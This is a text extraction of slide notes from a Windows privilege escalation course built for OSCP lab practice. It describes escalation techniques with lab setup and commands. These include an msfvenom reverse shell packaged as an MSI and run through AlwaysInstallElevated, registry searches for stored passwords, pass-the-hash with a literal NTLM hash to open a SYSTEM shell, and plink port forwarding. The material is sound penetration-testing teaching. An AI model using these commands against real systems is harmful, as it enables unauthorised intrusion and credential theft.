1.3 Windows Privilege Escalation (Light)
1.3 Windows Privilege Escalation (Light)
Privilege
Escalation
Tib3rius
1
About Myself
2
Course Overview
3
What isn’t covered?
5
Example Commands
6
Disclaimer
This course was designed with the OSCP labs and exam in mind,
however it attempts to cover a wide range of escalation techniques
beyond what an OSCP student is expected to understand.
Understanding that privilege escalation is often highly complex, and new
techniques are developed over time, this course is not intended to be a
“complete” guide to every privilege escalation technique.
When appropriate, the author will update the course materials to
include new techniques which are considered to be valuable.
7
Acknowledgments
9
Windows 10
A setup script has been included in the tools.zip archive. This setup
script was written for Windows 10 and has not been tested on other
versions of Windows.
If you want to perform any of the privilege escalations in the course
yourselves, it is recommended that you install Windows 10 and run the
setup script.
The script is also available at: https://github.com/Tib3rius/Windows-
PrivEsc-Setup
11
Initial Configuration
On Kali, extract the tools.zip archive to a directory. Change to this directory and run
either of the following to set up an SMB server:
# python3 /usr/share/doc/python3-
impacket/examples/smbserver.py tools .
# python /usr/share/doc/python-
impacket/examples/smbserver.py tools .
To copy files from Kali to Windows:
> copy \\192.168.1.11\tools\file.ext file.ext
To copy files from Windows to Kali:
> copy file.ext \\192.168.1.11\tools\file.ext
13
Setup Script
14
Setup Script
15
Privilege
Escalation
in Windows
16
General Concepts
19
User Accounts
23
ACLs & ACEs
25
Spawning
Administrator
Shells
26
msfvenom
27
RDP
28
Admin -> SYSTEM
29
Privilege
Escalation
Tools
30
Why use tools?
31
PowerUp & SharpUp
PowerUp & SharpUp are very similar tools that hunt for specific privilege
escalation misconfigurations.
PowerUp:
https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/mast
er/PowerUp/PowerUp.ps1
SharpUp: https://github.com/GhostPack/SharpUp
Pre-Compiled SharpUp: https://github.com/r3motecontrol/Ghostpack-
CompiledBinaries/blob/master/SharpUp.exe
32
PowerUp
35
Seatbelt
36
winPEAS
37
winPEAS
Before running, we need to add a registry key and then reopen the
command prompt:
> reg add HKCU\Console /v VirtualTerminalLevel
/t REG_DWORD /d 1
Run all checks while avoiding time-consuming searches:
> .\winPEASany.exe quiet cmd fast
Run specific check categories:
> .\winPEASany.exe quiet cmd systeminfo
38
accesschk.exe
AccessChk is an old but still trustworthy tool for checking user access
control rights.
You can use it to check whether a user or group has access to files,
directories, services, and registry keys.
The downside is more recent versions of the program spawn a GUI
“accept EULA” popup window. When using the command line, we have
to use an older version which still has an /accepteula command line
option.
39
Kernel
Exploits
40
What is a Kernel?
42
Tools
46
Services
48
Service Misconfigurations
52
Privilege Escalation
55
Privilege Escalation
57
Weak Registry Permissions
58
Privilege Escalation
60
Insecure Service Executables
61
Privilege Escalation
62
Privilege Escalation
66
Privilege Escalation
68
Privilege Escalation
70
AutoRuns
5. Start a listener on Kali, and then restart the Windows VM to trigger the exploit. Note that on
Windows 10, the exploit appears to run with the privileges of the last logged on user, so log
out of the “user” account and log in as the “admin” account first.
73
AlwaysInstallElevated
The catch is that two Registry settings must be enabled for this to work.
The “AlwaysInstallElevated” value must be set to 1 for both the local
machine:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
and the current user:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
If either of these are missing or disabled, the exploit will not work.
75
Privilege Escalation
76
Privilege Escalation
3. Create a new reverse shell with msfvenom, this time using the msi format,
and save it with the .msi extension:
# msfvenom -p windows/x64/shell_reverse_tcp
LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
4. Copy the reverse.msi across to the Windows VM, start a listener on Kali,
and run the installer to trigger the exploit:
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
77
Passwords
78
Passwords?
Yes, passwords.
Even administrators re-use their passwords, or leave
their passwords on systems in readable locations.
Windows can be especially vulnerable to this, as several
features of Windows store passwords insecurely.
79
Registry
The following commands will search the registry for keys and
values that contain “password”
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s
This usually generates a lot of results, so often it is more
fruitful to look in known locations.
81
Privilege Escalation
83
Saved Creds
85
Privilege Escalation
86
Configuration Files
94
Passing the Hash
95
Privilege Escalation
1. Extract the admin hash from the SAM in the previous step.
2. Use the hash with pth-winexe to spawn a command prompt:
# pth-winexe -U
'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c
4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
3. Use the hash with pth-winexe to spawn a SYSTEM level command prompt:
# pth-winexe --system -U
'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c
4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
96
Scheduled
Tasks
97
Scheduled Tasks
Unfortunately, there is no easy method for enumerating custom tasks that belong to
other users as a low privileged user account.
List all scheduled tasks your user can see:
> schtasks /query /fo LIST /v
In PowerShell:
PS> Get-ScheduledTask | where {$_.TaskPath -notlike
"\Microsoft*"} | ft TaskName,TaskPath,State
Often we have to rely on other clues, such as finding a script or log file that indicates a
scheduled task is being run.
99
Privilege Escalation
100
Privilege Escalation
101
Insecure GUI
Apps (Citrix
Method)
102
Insecure GUI Apps
1. Log into the Windows VM using the GUI with the “user”
account.
2. Double click on the “AdminPaint” shortcut on the
Desktop.
3. Open a command prompt and run:
> tasklist /V | findstr mspaint.exe
Note that mspaint.exe is running with admin privileges.
104
Privilege Escalation
106
Startup Apps
Each user can define apps that start when they log in, by placing
shortcuts to them in a specific directory.
Windows also has a startup directory for apps that should start for all
users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
If we can create files in this directory, we can use our reverse shell
executable and escalate privileges when an admin logs in.
107
Startup Apps
Note that shortcut files (.lnk) must be used. The following VBScript can be used
to create a shortcut file:
108
Privilege Escalation
111
Installed Applications
115
Hot Potato
116
Privilege Escalation
117
Service
Accounts
(Rotten / Juicy
Potato)
118
Service Accounts
119
Rotten Potato
120
Juicy Potato
122
Privilege Escalation
123
Port
Forwarding
124
Port Forwarding
5. Make sure that the SSH server on Kali is running and accepting root logins. Check
that the “PermitRootLogin yes” option is uncommented in /etc/ssh/sshd_config.
Restart the SSH service if necessary.
6. On Windows, use plink.exe to forward port 445 on Kali to the Windows port 445:
> plink.exe [email protected] -R 445:127.0.0.1:445
7. On Kali, modify the winexe command to point to localhost (or 127.0.0.1) instead,
and execute it to get a shell via the port forward:
# winexe -U 'admin%password123' //localhost cmd.exe
128
getsystem
(Named Pipes &
Token Duplication)
129
Access Tokens
130
Token Duplication
You may be already familiar with the concept of a “pipe” in Windows & Linux:
> systeminfo | findstr Windows
A named pipe is an extension of this concept.
A process can create a named pipe, and other processes can open the named
pipe to read or write data from/to it.
The process which created the named pipe can impersonate the security context
of a process which connects to the named pipe.
132
getsystem
137
Summary
138
User
Privileges
User Privileges
143
SeBackupPrivilege
144
SeRestorePrivilege
146
Other Privileges (More Advanced)
• SeTcbPrivilege
• SeCreateTokenPrivilege
• SeLoadDriverPrivilege
• SeDebugPrivilege (used by getsystem)
147
Privilege
Escalation
Strategy
148
Enumeration
149
Strategy
Try things that don’t have many steps first, e.g. registry
exploits, services, etc.
Have a good look at admin processes, enumerate their
versions and search for exploits.
Check for internal ports that you might be able to forward to
your attacking machine.
152
Strategy
153
Don’t Panic